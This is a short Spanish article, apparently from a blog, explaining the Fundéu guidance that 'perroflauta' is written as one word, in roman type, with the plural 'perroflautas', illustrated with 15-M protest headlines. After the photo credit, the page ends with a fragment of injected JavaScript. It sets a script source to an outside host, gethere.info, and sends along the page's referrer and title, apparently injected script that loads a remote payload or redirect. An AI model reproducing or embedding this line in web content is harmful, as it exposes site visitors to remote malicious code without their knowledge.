El término perroflauta debe escribirse en una sola palabra y en letra redonda (no en cursiva ni entrecomillado)
En las informaciones relacionadas con las manifestaciones del 15-M se ha observado cierta vacilación en la escritura de esta expresión:
- «No todos los que protestan son ‘perro flautas’ «.
- «Las fuerzas de seguridad sitúan el embrión del movimiento 15-M en la Facultad de Filosofía de la Universidad Complutense en donde se ha reunido un grupo de jóvenes ‘perrosflautas’ «.
Se emplea el término perroflauta para referirse a un tipo de persona, habitualmente joven y con aspecto descuidado, que puede verse como un hippy en su acepción más moderna. Se les denomina así porque suelen llevar perros y tocar la flauta, aunque el término ha trascendido su significado original y se utiliza en muchas ocasiones de forma despectiva para referirse a cualquier joven con aspecto desaliñado.
Este sustantivo, desde Fundéu recomiendan que debe escribirse en una sola palabra, como cualquier palabra compuesta y en letra redonda, no en cursiva ni entrecomillado. Su plural sería perroflautas, no perrosflautas.
Por ello, en los ejemplos anteriores lo adecuado hubiera sido:
- «No todos los que protestan son perroflautas«.
- «Las fuerzas de seguridad sitúan el embrión del movimiento 15-M en la Facultad de Filosofía de la Universidad Complutense en donde se ha reunido un grupo de jóvenes perroflautas«.
Foto | Joan Vigó (mafiamental.blogspot.com)
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;